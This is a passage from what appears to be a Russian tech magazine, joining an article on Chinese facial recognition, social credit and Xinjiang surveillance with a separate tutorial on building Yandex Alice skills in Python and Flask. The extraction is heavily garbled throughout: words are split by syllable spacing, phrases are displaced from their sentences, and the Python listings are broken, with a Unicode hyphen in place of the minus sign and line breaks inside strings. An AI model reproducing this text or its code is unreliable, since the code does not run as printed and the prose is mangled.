которое  срав нива ется  с  дан ными  из  рас пре делен ной  облачной  базы
для  иден тифика ции  лич ности  посети теля.  При  этом  лицо  опре деля ется
как  набор  отдель ных  зон,  каж дая  из  которых  име ет  собс твен ный  ком плекс
харак терис тик  и  парамет ров  —  цвет,  раз мер  и  фор ма  волос,  высота  лба,
овал лица, фор ма носа, фор ма и цвет  глаз,  губ, фор ма носогуб ных скла док
и т. д.

Каж дому из приз наков прис ваивает ся некий условный рей тинг, опре деля‐ 
ющий  их  уни каль ность:  человек  может  изме нить  при чес ку,  перек расить
волосы, отрастить бороду, что бы скрыть фор му под бород ка, и даже поменять
цвет  глаз  с  помощью  кон так тных  линз,  но,  нап ример,  фор му  ушей  и  носа
без  хирур гичес кого  вме шатель ства  изме нить  гораз до  слож нее.  Если
получен ный  с  камеры  циф ровой  пор трет  ока жет ся  схо жим  с  хра нящим ся
образцом в базе, то есть если сов падение пре одо леет некое порого вое зна‐ 
чение рей тин говых бал лов, иден тифика ция счи тает ся сос тояв шей ся. При чем
на это у компь ютер ного ком плек са ухо дит не более полуто ра секунд.

Для сот рудни ков Yitu этот ком плекс выпол няет фун кции сис темы кон тро ля
дос тупа, раз решая им вход толь ко на те эта жи и помеще ния, которые им раз‐ 
решено  посещать  по  дол жнос ти,  а  так же  сис темы  уче та  рабоче го  вре мени,
к которой при вяза на прог рамма рас чета заработ ной пла ты, пре мий и штра‐ 
фов. С помощью прог рам мно го  ком плек са Dragonfly Eye мож но прос ледить
мар шрут посети теля по зда нию офис ного цен тра. Прог рамма выда ет вре мя
пре быва ния  субъ екта  в  каж дой  точ ке  офи са,  его фотог рафию,  а  так же  поз‐ 
воля ет прос мотреть по зап росу видео, где будет показа но, что он там делал.
В силу такого тоталь ного кон тро ля не толь ко гос ти ком пании, но и сот рудни ки
Yitu не могут скрыть ся от слеж ки ни на минуту: они всег да под неусып ным над‐ 
зором. По сло вам спе циалис тов, у Dragonfly Eye все еще име ются проб лемы
с  рас позна вани ем  обра зов  отдель ных  людей  —  в  основном  это  ста рики
и  дети  до  3  лет.  Со  все ми  осталь ными  задача ми  искусс твен ный  интеллект
справ ляет ся прос то пре вос ходно.

Из вес тно так же, что наци ональ ная база дан ных вклю чает более 320 мил‐ 
лионов  лиц  инос тран ных  граж дан,  ког да‐либо  пересе кав ших  гра ницу  Китая
через его воз душные гавани, мор ские пор ты или назем ные таможен ные пун‐ 
кты.  Если  ты  ког да‐нибудь  посещал  Под небес ную,  будь  уве рен:  твой  сни‐ 
мок — и не один — там тоже есть.

ОТКУДА ДРОВИШКИ?
В  любой  экспертной  сис теме  обес печива ющий  ее  работу  алго ритм  гаран‐ 
тиру ет толь ко полови ну успе ха. Вто рая полови на — это база дан ных, содер‐ 
жащая всю самую цен ную информа цию. Как китай цам уда лось ее соб рать?

Ес ли тебе пос час тли вилось родить ся или стать жителем Китая, ты не смо‐ 
жешь  получить  наци ональ ный  пас порт  и  зна читель ную  часть  дру гих  иден‐ 
тифици рующих  докумен тов  (нап ример,  водитель ские  пра ва),  не  оста вив
государс тву свои биомет ричес кие дан ные. Которые тут же попол нят ту самую
базу. Впос ледс твии, если тебе вдруг при дет в голову отрастить волосы под‐ 
линнее,  сме нить  при чес ку,  нарисо вать  себе  мод ные  «бреж нев ские»  бро ви
или  начать  носить  очки,  твой  пор трет  будет  акту али зиро ван,  как  толь ко  ты
авто ризу ешь ся  в  одной  из  государс твен ных  орга низа ций  или  на  сай те
по  элек трон ной  под писи,  какому‐либо  докумен ту  или  отпе чат ку  паль цев
и сис тема заметит изме нения в тво ей внеш ности.

При  этом  ста рые  дан ные  никуда  не  денут ся,  они  так  и  оста нут ся  в  базе,
которая прос то попол нится тво им обновлен ным визу аль ным обра зом. Имен‐ 
но  поэто му,  кста ти,  раз работ чики  жалу ются  на  труд ности  в  иден тифика ции
пожилых  людей:  мно гие  про жива ющие  в  сель ско хозяй ствен ных  рай онах
Китая  и  отда лен ных  дерев нях  ста рики  до  сих  пор  умуд ряют ся  обхо дить ся
без биомет ричес ких пас портов, а некото рые даже без государс твен ной пен‐ 
сии, полага ясь на помощь родс твен ников и натураль ное хозяй ство.

То таль ная сис тема виде окон тро ля — пов седнев ность для Китая

Вто рой  путь  сбо ра  информа ции  —  исполь зование  мобиль ных  сер висов
и при ложе ний. Сов ремен ный Китай явля ется одной из самых компь юте ризи‐ 
рован ных  и  высоко тех нологич ных  стран  мира,  смар тфон  есть  прак тичес ки
у каж дого школь ника и пен сионе ра. Китай цы уже поч ти пол ностью отка зались
от исполь зования налич ности, перей дя на элек трон ные пла тежи, что, кста ти,
дос тавля ет инос тран ным турис там мас су неудобств. Зато очень раду ет пра‐ 
витель ство,  получив шее  воз можность  кон тро лиро вать  кошель ки  и  финан‐ 
совые потоки сво их граж дан.

Са мое популяр ное в КНР мобиль ное при ложе ние WeChat уже дав но прев‐ 
ратилось из прос того мес сен дже ра в целый ком байн, напоми нающий по сво‐ 
ей  фун кци ональ нос ти  эда кий  элек трон ный  швей цар ский  нож.  Сер вис
интегри рован  не  толь ко  с  соци аль ными  сетями,  но  и  с  пла теж ными  сис‐ 
темами,  интернет‐поис ком  и  рекомен датель ными  сер висами.  С  помощью
встро енной  пла теж ной  сис темы  WeChat  Pay  толь ко  в  пери од  Китай ско го
нового  года  про водит ся  боль ше  тран закций,  чем  в  ста ром  доб ром  PayPal
за  весь  кален дарный  год.  Поль зователь WeChat,  не  выходя  из  при ложе ния,
может  отыс кать  бли жай ший  к  его  оте лю  рес торан  евро пей ской  кух ни
в  Пекине,  почитать  отзы вы  дру гих  посети телей,  заб рониро вать  там  сто лик
и опла тить ужин. А заод но приг ласить на этот ужин сво их китай ских кол лег —
отпра вив  им  голосо вое  или  тек сто вое  сооб щение  в  этой  же  самой  прог‐ 
рамме.

По пуляр ное в Китае при ложе ние WeChat — не прос то мес сен джер

Очень мно гие мобиль ные при ложе ния и соци аль ные сер висы на тер ритории
Китая  исполь зуют  иден тифика цию  внеш ности  для  авто риза ции  поль зовате‐ 
лей.  По  утвер жде ниям  раз работ чиков  и  влас тей,  это  дела ется  на  бла го
безопас ности.  Широко  известен  слу чай,  ког да  убий ца  задушил  девуш ку
и попытал ся вос поль зовать ся мобиль ным телефо ном жер твы, что бы перевес‐ 
ти  день ги  с  ее  бан ков ско го  сче та.  Одна ко  при ложе нию  ока залось  недос‐ 
таточ но одно го лишь наличия в кад ре лица хозяй ки смар тфо на — что бы раз‐ 
бло киро вать  прог рамму,  человек  дол жен  мор гнуть,  доказав,  что  он  жив.
При неудач ной попыт ке авто риза ции при ложе ние авто мати чес ки дела ет сни‐ 
мок  с  помощью  встро енной  камеры  девай са  и  пересы лает  его  в  служ бу
безопас ности бан ка. В тот раз на фотог рафию попал убий ца, бла года ря чему
он был вычис лен и вско ре арес тован.

Од нако  «ком мунис тичес кий  капита лизм»  китай ско го  образца  оставля ет
слиш ком мало мес та сох ранению при ват ности и охра не час тной жиз ни граж‐ 
дан: ком мерчес кие ком пании зачас тую вынуж дены сот рудни чать с государс‐ 
твен ными орга нами, переда вая им соб ранную информа цию. Хотя офи циаль‐ 
но  это  ниг де  не  под твержда ется,  про изво дите ли  соф та  навер няка  делят ся
с  пра витель ством  фоточ ками  и  биомет ричес кими  дан ными  сво их  юзе ров,
ина че им прос то не дадут спо кой но работать на тер ритории КНР. По край ней
мере,  инос тран ные  соци аль ные  сети  вро де  Facebook,  пред почита ющие
исполь зовать пер сональ ные дан ные поль зовате лей для собс твен ной выгоды,
но  не  делить ся  ими  с  кем  попало,  за  Боль шим  Китай ским  Фай рво лом
без допол нитель ных пля сок с буб ном недос тупны.

По мимо  сфе ры финан совых  услуг  и  авто риза ции  в  мобиль ных  при ложе‐ 
ниях рас позна вание лиц активно исполь зует ся в Китае и в оффлай не. Во мно‐ 
гих  круп ных  магази нах  Под небес ной  уста нов лены  кас совые  тер миналы
со  ска нера ми  лиц  как  минимум  от  двух  пла теж ных  сис тем: WeChat  и  Alipay.
«Пос ветив  лицом»,  мож но  опла чивать  про езд  и  в  сто лич ном  общес твен ном
тран спор те, а в Цзи нане (про вин ция Шань дун) уже с апре ля это го года пас‐ 
сажиры могут заходить в мет ро, прос то улыб нувшись в камеру. Сей час пла‐ 
теж ные  тер миналы,  свя зан ные  с  сер висами  рас позна вания  лиц,  активно
внед ряют ся  в  медицин ских  цен трах  и  учрежде ниях  госус луг  в  Шэнь чжэ не,
Цзи нане и дру гих круп ных городах. Ана лити ки полага ют, что к 2024 году объ‐ 
ем это го рын ка в КНР пре высит 10 мил лиар дов юаней, что сос тавля ет ни мно‐ 
го ни мало 2 мил лиар да дол ларов США.

Megvii бла года ря про екту Face++ выходит на лидиру ющие позиции рын ка
рас позна вания лиц

Се год ня этот быс тро рас тущий сег мент китай ско го рын ка осва ивают не толь‐ 
ко  такие  монс тры,  как  Yitu  и  Alibaba  —  пос ледний  успешно  внед рил  тех‐ 
нологию рас позна вания лиц в пла теж ную сис тему AliPay. На пят ки им нас тупа‐ 
ют  стре митель но  раз вива ющиеся  стар тапы,  нап ример  фир мы  SenseTime
и Megvii. Пос ледняя раз работа ла самую популяр ную в мире плат форму рас‐ 
позна вания  лиц  с  откры тым  исходным  кодом  Face++.  Спрос  на  подоб ный
софт  уве рен но  рас тет,  и  вско ре  китай ские  IT‐ком пании  име ют  все  шан сы
обог нать по сво ей капита лиза ции пред при ятия калифор ний ской Крем ниевой
долины.

ТЕМНАЯ СТОРОНА СИЛЫ
Но  любая медаль,  как  извес тно,  име ет  две  сто роны. Про 

,  завязан ную  на  рас позна вание  лиц,  которую  к  2020  году  пла‐ 
ниру ют  внед рить  по  все му  Китаю,  слы шал,  навер ное,  каж дый.  Вкрат це  она
будет работать так.

сис тему  соци аль‐ 
ного  кре дита

Каж дому  граж данину  прис ваивает ся  опре делен ный  соци аль ный  рей тинг,
который может повышать ся или понижать ся в зависи мос ти от его поведе ния.
По каким имен но кри тери ям будет оце нивать ся это самое поведе ние, китай‐ 
ское  пра витель ство  не  сооб щает.  Извес тно  толь ко,  что  к  негатив ным  фак‐ 
торам  будут  отне сены  адми нис тра тив ные  и  уго лов ные  пра вона руше ния,
наруше ния  пра вил  дорож ного  дви жения,  курение  в  неполо жен ных  мес тах,
рас простра нение  недос товер ной  информа ции  в  интерне те  (видимо,  про‐ 
тиво реча щей  офи циаль ной  позиции  влас тей  стра ны)  и  почему‐то  покуп ка
боль шого  количес тва  виде оигр.  В  ту  же  копил ку  добав ляет ся  без билет ный
про езд  в  общес твен ном  тран спор те,  укло нение  от  воин ской  служ бы  и 

 опла та ком муналь ных сче тов.несвоевременная

Сис тема соци аль ных кре дитов — это ожив ший кибер панк

Граж данин с низ ким соци аль ным рей тин гом не смо жет поль зовать ся кре дит‐ 
ными прог рамма ми государс твен ных бан ков, откры вать дебето вые и кре дит‐ 
ные кар ты, покупать ави аби леты, а так же билеты биз нес‐клас са на поезд. Их
не ста нут нанимать на руково дящие дол жнос ти и на работу в  государс твен‐ 
ные  струк туры.  Вход  в  луч шие  оте ли  Китая  им  будет  зак рыт.  Кро ме  того,
некото рые источни ки утвер жда ют, что дети в Китае несут солидар ную ответс‐ 
твен ность за сво их родите лей: потом кам соци аль но безот ветс твен ных граж‐ 
дан  может  быть  зап рещено  учить ся  в  луч ших  шко лах  или  получать  выс шее
обра зова ние  в  некото рых  уни вер ситетах  стра ны.  Не  смог  пра виль но  вос‐ 
питать сво его папоч ку — стра дай.

Но  кнут  мало эффекти вен  без  пря ника:  помимо  наказа ний  пла ниру ется
реали зовать  и  сис тему  поощ рений  для  граж дан  за  хорошее  поведе ние.  Те,
кто  горячо  любит  пар тию  и  пра витель ство,  вов ремя  пла тит  налоги  и  всег да
перехо дит ули цу на зеленый свет, смо гут получать скид ки на опла ту элек тро‐ 
энер гии, брать в про кат авто моби ли и про чие вещи без залога и офор млять
кре диты по сни жен ной став ке.

Оче вид но,  что  фик сация  наруше ний  будет  осу щест влять ся  в  том  чис ле
с  исполь зовани ем  улич ных  виде ока мер,  под клю чен ных  к  ком плек сам  рас‐ 
позна вания  лиц.  Если  отсле дить  дол жни ка  по  ком мунал ке  не  сос тавля ет
никако го  тру да  и  без  вся ких  камер,  то  граж данина,  перехо дяще го  дорогу
в  неполо жен ном  мес те,  смо жет  опоз нать  и  наказать  толь ко  искусс твен ный
интеллект.

Час тично  подоб ная  сис тема  внед рена  уже  сей час,  и  активнее  все го  она
при меня ется  в  рай онах  Китая,  пре иму щес твен но  населен ных  уйгу рами,
а  имен но  —  в  про вин ции  Синь цзян.  Уйгу ры  —  это  мусуль ман ское 

 мень шинс тво, отно сяще еся к тюрк ским народ ностям. В прош‐ 
лом жители Синь цзя на учас тво вали в мас совых акци ях про тес та, пос ле чего
китай ское пра витель ство решило ужес точить в реги оне меры безопас ности,
которые  сегод ня,  по  мне нию  запад ных  ана лити ков,  боль ше  сма хива ют
на высоко тех нологич ный кон цла герь.

национальное

Ка меры ден но и нощ но сле дят за жителя ми Китая

О  пов седнев ной  жиз ни  в  Синь цзя не  уже  опуб ликова но  мно жес тво 
и  сня ты  сот ни  ,  которые рас ска жут  об  этом  явле нии более  под‐ 
робно. За мес тны ми жителя ми орга низо вана круг лосуточ ная слеж ка, а самый
круп ный город про вин ции — Урум чи — раз делен на квар талы, про ход меж ду
которы ми  воз можен  толь ко  через  охра няемые  КПП  с  обя затель ным  предъ‐ 
явле нием собс твен ной физи оно мии в виде ока меру. Всех при езжих, вклю чая
инос тран цев,  обя зуют  уста новить  на  смар тфон  спе циаль ную  прог рамму,
которая будет  сле дить  за  вла дель цем и  переда вать  хра нящу юся  на  устрой‐ 
стве информа цию ком петен тным орга нам.

ста тей
ре пор тажей

Счи тает ся,  что  все  эти  высоко тех нологич ные  меры  пре дос торож ности
при няты  ради  безопас ности  и  смо гут  обес печить  отсутс твие  каких‐либо
проб лем в будущем. Толь ко вот нуж но ли мес тным жителям такое будущее —
очень боль шой воп рос.
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https://www.yitutech.com/
https://www.inquisitr.com/4680167/dragonfly-eye-artificial-intelligence-machine-can-identify-2-billion-people-in-seconds/
https://www.prnewswire.com/news-releases/yitu-tech-wins-the-1st-place-in-identification-accuracy-in-face-recognition-prize-challenge-2017-300549292.html
https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81%D0%BE%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BA%D1%80%D0%B5%D0%B4%D0%B8%D1%82%D0%B0
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ТРЮКИ

По при меру аме рикан ских кол лег из Apple,
Amazon,  Google  и  Microsoft  в  «Яндексе»
в  2017  году  сде лали  сво его  голосо вого
ассистен та,  который  понима ет  рус ский
язык и поль зует ся неп лохой популяр ностью
в  Рос сии.  Одна  из  при чин  успе ха  —
это  воз можность  соз дания  сво их  навыков,
то  есть  собс твен ных  при ложе ний.  О  том,
как научить «Али су» новым вещам, исполь‐ 
зуя  Python  и  веб‐фрей мворк  Flask,  мы
и погово рим в этой статье.

Как вооб ще работа ют навыки? Если говорить прос тыми сло вами, то «Али са»
и  твой  сер вер  будут  обме нивать ся  фай лами  в  фор мате  JSON,  где  будет
содер жать ся необ ходимая информа ция. При чем на сер вер при дет не прос то
рас познан ный  текст,  но  уже  под готов ленный  для  обра бот ки  зап рос.  Ты
можешь  выб рать  любой  удоб ный  язык  прог рамми рова ния  —  нуж на  толь ко
воз можность  соз давать  на  нем  веб‐сер вер.  Мы  выберем  Python  как  один
из самых прос тых и популяр ных.

INFO

Что бы все при меры исходно го кода, при веден ные
в статье, успешно запус кались, тебе понадо бит ся
уста новить:
Python 3.6 или новее;•
Flask 1.0.2 или новее.•

ПЕРВЫЙ НАВЫК — ЭХО-БОТ
На вык  «Али сы» — это, по сути,  чат‐бот. А раз работ чики чат‐ботов для  тес та
обыч но  пер вым  делом  про буют  написать  «эхо‐бота»,  который  отправ ляет
тебе то же самое, ког да ты ему что‐то пишешь.

Для начала основные тер мины:
 — зап рос, который пос тупил от «Али сы»;• request

 — ответ нашего сер вера, который отправ ляет ся «Али се».• response

Как будет работать наш навык? На наш сер вер пос тупа ет  , мы будем
получать  из  него  содер жимое  в  виде  тек ста,  а  затем отправ лять  ,
где в качес тве содер жимого ука жем текст зап роса. Перехо дим к коду!

request

response

from flask import Flask
from flask import request
import json

app = Flask(__name__)

@app.route('/post', methods=['POST'])
def main():
   ## Создаем ответ
   response = {
       'session': request.json['session'],
       'version': request.json['version'],
       'response': {
           'end_session': False
       }
   }
   ## Заполняем необходимую информацию
   handle_dialog(response, request.json)
   return json.dumps(response)

def handle_dialog(res,req):
   if req['request']['original_utterance']:
       ## Проверяем, есть ли содержимое
       res['response']['text'] = req['request']['original_utterance'
]
   else:
       ## Если это первое сообщение — представляемся
       res['response']['text'] = "Я echo‐bot, повторяю за тобой"

if __name__ == '__main__':
   app.run()

Как‐то мно го кода... Давай раз бирать ся по час тям. Во‐пер вых, важ но ска зать,
что наш сер вер написан на Flask, и если ты хочешь разоб рать ся в этом фрей‐ 
мвор ке  пог лубже,  на  «Хаб рахаб ре»  есть  отличный  .  Здесь  же  отме тим
пару основных вещей.

гайд

Важ но не забыть импорти ровать модули: Flask отве чает непос редс твен но
за  работу  веб‐при ложе ния,   —  за  работу  с  зап росами,  а 
необ ходим,  потому  что мы  и  получа ем,  и  отправ ляем фай лы  JSON,  а  не
объ екты из Python.

•
request json

Нуж но соз дать экзем пляр клас са Flask, а затем его запус тить. Это и есть
непос редс твен но «ядро» сер вера.

•

Де кора тор   необ ходим, что бы свя зать URL, тип зап роса и фун‐ 
кцию, которая будет обра баты вать этот зап рос.

• app.route

С осно вами Flask покон чено — в прин ципе, для раз работ ки прос тых навыков
нам  ничего  боль ше  не  пот ребу ется.  Давай  раз берем,  что  же  про исхо дит
в наших двух фун кци ях.

В   мы сна чала соз даем шаб лон для отве та. Обра ти вни мание, что
мы  переда ем  туда  два  парамет ра  из  зап роса:    и  ,  а  затем
во  вто рую фун кцию переда ем наш шаб лон для отве та  и  зап рос,  скон верти‐ 
рован ный в JSON.

main()
session version

Ос новная фун кци ональ ность  нашего  навыка  содер жится  в фун кции 
. Если нам приш ло какое‐то сооб щение, то все прос то:

нуж но  получить  содер жимое  зап роса.  Кста ти,  ори гиналь ный  текст  зап роса
содер жится внут ри  . Что бы отпра‐ 
вить его обратно поль зовате лю, нуж но ско пиро вать содер жимое в 

.

han‐
dle_dialog(res,req)

req['request']['original_utterance']
res['re‐

sponse']['text']
Ког да  поль зователь  под клю чает ся  к  навыку  в  пер вый  раз,  зап рос  тоже

при ходит,  но  никако го  тек ста  в  нем  нет.  Для  обра бот ки  этой  ситу ации  я
добавил в фун кцию про вер ку.

Вро де  бы  все?  Теперь  нуж но  про верить,  работа ет  наш  при мер  или  мы
где‐то ошиб лись. Но как про тес тировать?

ТЕСТИРОВАНИЕ НАВЫКОВ
Су щес тву ет нес коль ко спо собов тес тирова ния навыков. Один из самых прос‐ 
тых —  с  помощью  ути литы  ,  которую  мож но  запус кать  локаль но
на  сво ем  компь юте ре. О  том,  как  ее  уста новить,  написа но  дос таточ но  под‐ 
робно,  так  что  не  буду  заос трять  на  этом  вни мание.  Итак,  начина ем  тес‐ 
тирова ние.

alice‐nearby

1. За пус каем наше при ложе ние.

Отоб ражение в IDLE

2. За пус каем alice‐nearby,  ука зав  в  качес тве  зна чения webhook 
.

http://lo‐
calhost:5000/post

За пуск на MacOS

3. От кры ваем любой бра узер и перехо дим по ссыл ке  , что‐ 
бы убе дить ся, что откры лось при ложе ние для тес тирова ния.

localhost:3456

При ложе ние для тес тирова ния

Поз драв ляю,  твой  пер вый  навык  работа ет!  Обра ти  вни мание:  спра ва  отоб‐ 
ража ются  зап рос  и  ответ  в  JSON.  Но  на  самом  деле  авто ры  этой  ути литы
не при думы вали интерфейс самос тоятель но. Они прос то сде лали локаль ную
вер сию  при ложе ния  для  тес тирова ния  навыков  на  осно ве  тес тового  стен да
в лич ном кабине те « ».Ян декс.Диало ги

За регис три руем ся  в  «Диало гах»,  регис три руем  свой  навык  и  поп робу ем
его  про тес тировать.  При  соз дании  нового  диало га  раз работ чику  пред лага‐ 
ется выб рать его тип. Выбира ем «Навык в Али се».

Ти пы диало гов

От кро ется  стра ница  с  нас трой ками.  Их  мно го,  скон цен три руем ся
на основных.

Ос новные нас трой ки

Для  про вер ки  работы  нашего  бота  нам  необ ходимо  ука зать  Webhook  URL
в  «Яндекс.Диало гах». Но  если мы  поп робу ем  добавить  туда 

,  то  ничего  не  про изой дет  и  на  вклад ке  «Тес тирова ние»
будет лишь сооб щение об ошиб ке сер вера.

http://local‐
host:5000/post

Что бы  про тес тировать  навык,  запущен ный  на  компь юте ре,  а  не  на  сер‐ 
вере,  мож но  исполь зовать  при ложе ние  .  Эта  прог рамма  соз дает  пуб‐ 
личный URL для сай та или сер вера, запущен ного на локаль ной машине.

ngrok

ngrok

За пус тим  ngrok,  ско пиру ем  выдан ный  нам URL‐адрес  в  поле Webhook URL,
сох раним  нас трой ки  и  перей дем  на  вклад ку  «Тес тирова ние».  Обра ти  вни‐ 
мание,  что  ngrok  выда ет  два  URL:  HTTP  и  HTTPS,  нам  нужен  HTTPS.  И  не
забудь добавить к адре су  , что бы зап росы обра баты вались кор рек тно./post

Тес тирова ние на «Я.Диало гах»

Хо телось  бы  не  толь ко  писать,  но  и  про верить,  как  бы  все  это  зву чало,
если  бы  наши  отве ты  зачиты вала  «Али са».  Это  мож но  будет  сде лать,  если
наш  навык  прой дет  модера цию… Он  вряд  ли  ее  прой дет,  но  не  надо  отча‐ 
ивать ся! Сущес тву ет целых два решения.
1. Сде лать навык при ват ным. Для это го в нас трой ках необ ходимо пос тавить
соот ветс тву ющую  галоч ку.  В  таком  слу чае  модера торы  про верят  толь ко
наз вание,  акти ваци онное  имя  и  при ветс твен ное  сооб щение,  где  дол жно
быть опи сано, что дела ет навык. Под робнее про модера цию навыков мож‐ 
но узнать  .из виде ору ководс тва

2. Вос поль зовать ся  . В нас трой ках необ ходимо ука зать URL —
и мож но начинать.

си муля тором

Продолжение статьи →

mailto:vpap1997@inbox.ru
https://habr.com/ru/post/346306/
https://github.com/azzzak/alice-nearby
https://dialogs.yandex.ru/
https://ngrok.com/
https://www.youtube.com/watch?v=i3sIZjpy9LU
https://station.aimylogic.com/


ВСЕ МЫ НЕ В СВОЕМ

УМЕ
КАК СДЕЛАТЬ НОВЫЙ НАВЫК ДЛЯ «АЛИСЫ»

НА PYTHON

ТРЮКИ  НАЧАЛО СТАТЬИ←

ПОИГРАЕМ В СЛОВА
Сле дующим  навыком,  который  мы  раз работа ем,  будет  игра  в  сло ва.
Для  начала  необ ходимо  сос тавить  алго ритм  работы.  Пус кай  игру  всег да
начина ет «Али са». Тог да необ ходимо сде лать сле дующее:

от пра вить поль зовате лю слу чай ное сло во;•
по лучить его ответ;•
про верить, что ответ поль зовате ля соот ветс тву ет усло виям игры:•

сло во игро ка начина ется с пос ледней бук вы сло ва «Али сы»;•
сло во игро ка еще не было исполь зовано в дан ной игре;•

от пра вить поль зовате лю новое сло во или сооб щение об ошиб ке.•

При мер ная блок‐схе ма игры выг лядит так.

Блок‐схе ма игры в сло ва

Ус ловие 1 — Сло во начина ется на «пра виль ную» бук ву•
Ус ловие 2 — Сло во не было исполь зовано•
Ус ловие 3 — Сле дующее сло во наш лось•

Для  хра нения  слов  мы  будем  исполь зовать  сло варь,  где  в  качес тве  клю ча
будет  выс тупать  пер вая  бук ва,  а  в  качес тве  зна чения  —  спи сок  слов.
Но если бы мы исполь зовали один и  тот же сло варь для всех игро ков,  сло‐ 
ва бы очень быс тро закон чились, поэто му для каж дого игро ка соз дает ся свой
эле мент в допол нитель ном сло варе,  где клю чом выс тупа ет  ID поль зовате ля,
а в зна чении лежит спи сок, в котором на пер вом мес те — сло варь дос тупных
для игры слов, а на вто ром — спи сок уже исполь зован ных. Зву чит запутан но?
Давай пос мотрим, как хра нят ся сло ва, а затем раз берем неболь шой при мер:

WORDS = {"а": ["анафема"],
    "б":["блюдо","борьба"]
    }

Для нового поль зовате ля соз дает ся запись в сло варе   такого вида:USERS

{"ID пользователя" :
 [
   {"а": ["анафема"],"б":["блюдо","борьба"]},
   []
 ]

}`

Наш бот выдал пер вое сло во — «борь ба», поль зователь отве тил «арка». Пос‐ 
ле это го запись в нашем сло варе будет выг лядеть так:

{"ID пользователя" :
 [
   {"а": ["анафема"],"б":["блюдо"]},
   ["борьба","арка"]
 ]

}`

Те перь пос мотрим на исходный код целиком и раз берем неяс ные момен ты.

from flask import Flask
from flask import request
import json
import random
import copy

app = Flask(__name__)

## Общий список слов
WORDS = {"а": ["анафема","аллегория","актер","арка","аптека"],
        "б":["блюдо","борьба","брак"],
        "д":["дружба","детство"]
        }

## Словарь для хранения информации о пользователях
## Ключом будут их идентификаторы, а в качестве значений будет 
список вида [ {НеИСПОЛЬЗОВАННЫЕ СЛОВА}, [ИСПОЛЬЗОВАННЫЕ СЛОВА]]
USERS = {}

@app.route('/post', methods=['POST'])
def main():
   response = {
       'session': request.json['session'],
       'version': request.json['version'],
       'response': {
           'end_session': False
       }
   }
   handle_dialog(response, request.json)
   return json.dumps(response)

def random_word(user_id):
   '''
   Функция возвращает случайное слово из слов для заданного 
пользователя и перемещает его из списка неиспользованных слов в 
список использованных
   :param user_id:
   :return:
   '''
   global USERS
   all = []
   L_WORDS = USERS[user_id][0]
   for i in L_WORDS.values():
       all += i
   word = random.choice(all)
   L_WORDS[word[0]].remove(word)
   return word

def get_next_word(word,user_id):
   '''
   Функция возвращает следующее слово для заданного пользователя и 
текущего слова
   :param word:
   :param user_id:
   :return:
   '''
   global USERS
   L_WORDS = USERS[user_id][0]
   L_USED = USERS[user_id][1]
   try:
       while True:
           letter = word[‐1]
           my_word = random.choice(L_WORDS[letter])
           L_WORDS[letter].remove(my_word)
           if my_word not in L_USED:
               break
       return my_word
   except:
       return False

def handle_dialog(res, req):
   global USERS
   user_id = req['session']['user_id']
   if req['session']['new']:
       # Если до этого пользователь не играл, нужно его 
зарегистрировать в системе и отправить первое слово
       USERS[user_id] = [copy.deepcopy(WORDS)]
       USERS[user_id].append([random_word(user_id)])
       res['response']['text'] = USERS[user_id][1][‐1]
   else:
       L_USED = USERS[user_id][1]
       word = req['request']['nlu']['tokens'][0]
       if word[0] == L_USED[‐1][‐1]:
           # Если пользователь указал слово правильно (начинается 
на последнюю букву предыдущего), то генерируем следующее слово
           if word not in L_USED:
               # Если это слово не использовалось
               L_USED.append(word)
               next_w = get_next_word(word,user_id)
               if next_w:
                   res['response']['text'] = next_w
                   L_USED.append(next_w)
               else:
                   # Слова могут и закончиться....
                   res['response']['text'] = "У меня закончились 
слова..."
           else:
               # Если слово уже было использовано человеком или 
Алисой
               res['response']['text'] = "Слово {} уже было".format(
word)
       else:
           # Если пользователь попытался читерить и указал 
случайное слово
           res['response']['text'] = "Слово должно начинаться на 
последнюю букву моего. Попробуй опять"

if __name__ == '__main__':
   app.run()

Как  мож но  заметить,  фун кция    оста лась  точ но  такой  же,  как  в  пер вом
при мере, осно ватель но изме нилась лишь фун кция  .

main
handle_dialog

Пос коль ку для каж дого из поль зовате лей в памяти хра нит ся собс твен ный
набор дос тупных и исполь зован ных слов, в фун кции   и 

 в качес тве парамет ра пос тупа ет ID игро ка. По сути,   —
это реали зация нашей блок‐схе мы.

random_word get_nex‐
t_word handle_dialog

Об рати вни мание на эту строч ку:

word = req['request']['nlu']['tokens'][0]

В прош лой прог рамме мы получа ли целиком всю фра зу, а в этой мы работа‐ 
ем  уже  с  токена ми.  Токены — это  сло ва  из фра зы,  которые  уже  разоб раны
тем  или  иным  обра зом.  Нап ример,  если  во  фра зе  есть  адрес,  то  он  будет
рас познан  как  адрес.  Токени зация  поз воля ет  не  думать  о  таких  вещах,
как орфогра фия или заг лавные бук вы.

А ТЕПЕРЬ КАРТИНКИ
Хоть  «Али са»  и  голосо вой  помощ ник,  она  может  отправ лять  поль зовате лю
кар тинки.  Напишем  навык,  который  будет  отправ лять  поль зовате лю  слу чай‐ 
ную  кар тинку.  Что бы  исполь зовать  изоб ражения,  их  необ ходимо  заг рузить
в твой лич ный кабинет на «Яндекс.Диало гах». Для это го перехо ди на вклад ку
«Ресур сы» и выбирай фай лы.

Пос ле заг рузки у каж дой из кар тинок появит ся свой иден тифика тор. Имен но
по ним мы и будем обра щать ся.

Что бы  отпра вить  поль зовате лю  кар тинку,  необ ходимо  модифи циро вать
наш JSON. Добавить ключ   с такими полями:card

 — тип кар точки, для добав ления одно го изоб ражения исполь зует ся
;

• type

BigImage

  —  иден тифика тор  изоб ражения,  получен ный  в  пре дыду щем
пун кте;

• image_id

 — заголо вок кар тинки, который появ ляет ся вмес те с ней.• title

Важ но,  что  даже  если  мы  отправ ляем  кар тинку,  нуж но  ука зывать  уже  зна‐ 
комый нам параметр —  , он необ ходим и не может быть пус тым.text

Для  хра нения изоб ражений будем исполь зовать спи сок  кор тежей вида 
. Как мы уже при вык ли, фун кция   неиз менна,

так что я при веду лишь   и спи сок кар тинок.

(
id_картинки, заголовок) main

handle_dialog

Images  = [("965417/9f742cfaf8da737c9c92","Мартовский заяц"),(
"1540737/fe5ad9521bd078b5c625","Чеширский кот")]

def handle_dialog(res,req):
   if req['request']['original_utterance']:
       res['response']['text'] = "Это случайная картинка"
       img, title = random.choice(Images)
       ## Генерируем изображение
       res['response']['card'] = {
           "type": "BigImage",
           "image_id": img,
           "title": title
           }
   else:
       ## Если это первое сообщение — представляемся
       res['response']['text'] = "Привет! Ты мне фразу — я тебе 
картинку"

Не  забудь  импорти ровать  модуль  .  Теперь,  если  мы  запус тим  наш
